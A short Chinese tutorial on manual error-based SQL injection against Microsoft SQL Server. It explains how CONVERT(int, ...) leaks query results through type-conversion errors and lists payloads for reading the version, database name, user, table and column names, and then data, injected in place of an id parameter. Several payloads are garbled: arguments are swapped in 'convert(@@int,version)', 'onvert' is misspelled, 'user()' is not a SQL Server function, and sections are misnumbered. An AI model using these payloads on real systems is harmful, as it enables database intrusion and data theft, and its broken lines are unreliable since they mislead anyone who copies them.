Microsoft SQL Server手注之报错注入

一、CONVERT() 函数是什么？

　　含义：CONVERT() 函数是把日期转换为新数据类型的通用函数。

　　语法：CONVERT(data_type(length),data_to_be_converted,style）

• • data_type(length) 规定⽬标数据类型（带有可选的长度）。
  • data_to_be_converted 含有需要转换的值。
  • style 规定日期/时间的输出格式（可选）

　　　　　　例：CONVERT(VARCHAR(19),GETDATE())  //默认，格式为 APR 12 2021 11:45 PM

　　　　　　　　CONVERT(VARCHAR(10),GETDATE(),110)  //style参数为110，则格式是mm-dd-yy

二、报错的原理是什么？

　　对于convert(int,@@version)，convert函数⾸先会执⾏第⼆个参数指定的SQL查询，然后尝试将查询结果转换为int整数类型。但是，由于这个SQL查询的结果是varchar文本类型，⽆法进⾏指定的转换，所以，convert函数会抛出 ⼀个SQL server错误消息，指出“SQL查询结果”⽆法转换为“int”类型，这样的话，攻击者就能得到的这个SQL查 询的结果了。

二、报错有哪些常用函数？

　　在这里我们了解两种函数即可：

• • convert()　　　
  • file_name() //

三、基本流程

　　值得注意的是，报错注入传参的时候与其他不太一样，需要将id值替换成payload。

　　1.查询基本信息

• • convert(@@int,version) //获取版本信息
  • convert(int,db_name()) //获取数据库名字
  • onvert(int,user()) //获取当前⽤户名
  • convert(int,@@SERVERNAME) //获取有关服务器主机的信息

　　2.获取当前数据库的表名

　　　　语句：CONVERT(int,(select top 1 table_name from information_schema.columns))

　　3.获取列名

　　　　语句：onvert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制的表名 as varchar)))

　　4.获取数据

　　　　语句：convert(int,(select top 1 name 列名 from 表名))